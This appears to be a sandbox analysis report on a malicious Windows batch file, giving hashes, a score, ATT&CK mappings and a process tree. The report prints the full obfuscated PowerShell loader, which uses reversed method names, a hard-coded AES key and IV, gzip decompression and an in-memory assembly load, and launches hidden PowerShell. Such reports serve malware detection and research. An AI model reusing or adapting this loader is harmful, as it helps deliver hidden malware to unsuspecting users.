8d65586e976036fdd9baff1a531782c4dfc03b18e681f7d28a3b971375c08d51

Analysis

max time kernel
122s
max time network
122s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
02-07-2024 14:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Fanta_Is_Better_Than_Coke.bat
Size

773KB
MD5

4dec8ae835e5a08a2a49caed42ec3d03
SHA1

d980406271e2404a1bba3aa0db370cca9f37c284
SHA256

8d65586e976036fdd9baff1a531782c4dfc03b18e681f7d28a3b971375c08d51
SHA512

802bf400411973dec2975a0154cea60f0461bd78999a4d1be0b73e786b8a4be803caf0ffc67d0986b98c7bdf8d33ccd6ec16b708a82c3091df61df88706aa224
SSDEEP

24576:WLYRF4zDL03jn4gzvZnOOGZj1rlUMaM2o2oa:WLMrj3ONpOo8

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1636 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1636 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1636 powershell.exe

pid	process
1636	powershell.exe

pid	process
1636	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1636	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2860 wrote to memory of 2284	2860	cmd.exe	cmd.exe
PID 2860 wrote to memory of 2284	2860	cmd.exe	cmd.exe
PID 2860 wrote to memory of 2284	2860	cmd.exe	cmd.exe
PID 2860 wrote to memory of 1636	2860	cmd.exe	powershell.exe
PID 2860 wrote to memory of 1636	2860	cmd.exe	powershell.exe
PID 2860 wrote to memory of 1636	2860	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Fanta_Is_Better_Than_Coke.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2860

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HJMqH6hNcuL5hS+vmBgSUwLnZDRraZ4uSSHQzk2uV5k='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y7+Z22IkUOZ2XEDFGjqVWA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $QqOLA=New-Object System.IO.MemoryStream(,$param_var); $wWAsy=New-Object System.IO.MemoryStream; $bEzcd=New-Object System.IO.Compression.GZipStream($QqOLA, [IO.Compression.CompressionMode]::Decompress); $bEzcd.CopyTo($wWAsy); $bEzcd.Dispose(); $QqOLA.Dispose(); $wWAsy.Dispose(); $wWAsy.ToArray();}function execute_function($param_var,$param2_var){ $KEgbT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $prFBz=$KEgbT.EntryPoint; $prFBz.Invoke($null, $param2_var);}$PYOpj = 'C:\Users\Admin\AppData\Local\Temp\Fanta_Is_Better_Than_Coke.bat';$host.UI.RawUI.WindowTitle = $PYOpj;$cvJhI=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($PYOpj).Split([Environment]::NewLine);foreach ($xMZXI in $cvJhI) { if ($xMZXI.StartsWith('QBmdPhNhdFQSpIxMPXIo')) { $FLIWZ=$xMZXI.Substring(20); break; }}$payloads_var=[string[]]$FLIWZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
2⤵
PID:2284

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1636

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1636-4-0x000007FEF5C2E000-0x000007FEF5C2F000-memory.dmp

Filesize
4KB

Download
memory/1636-5-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/1636-8-0x000007FEF5970000-0x000007FEF630D000-memory.dmp

Filesize
9.6MB

Download
memory/1636-9-0x000007FEF5970000-0x000007FEF630D000-memory.dmp

Filesize
9.6MB

Download
memory/1636-7-0x000007FEF5970000-0x000007FEF630D000-memory.dmp

Filesize
9.6MB

Download
memory/1636-11-0x000007FEF5970000-0x000007FEF630D000-memory.dmp

Filesize
9.6MB

Download
memory/1636-10-0x000007FEF5970000-0x000007FEF630D000-memory.dmp

Filesize
9.6MB

Download
memory/1636-6-0x00000000022D0000-0x00000000022D8000-memory.dmp

Filesize
32KB

Download
memory/1636-12-0x000007FEF5970000-0x000007FEF630D000-memory.dmp

Filesize
9.6MB

Download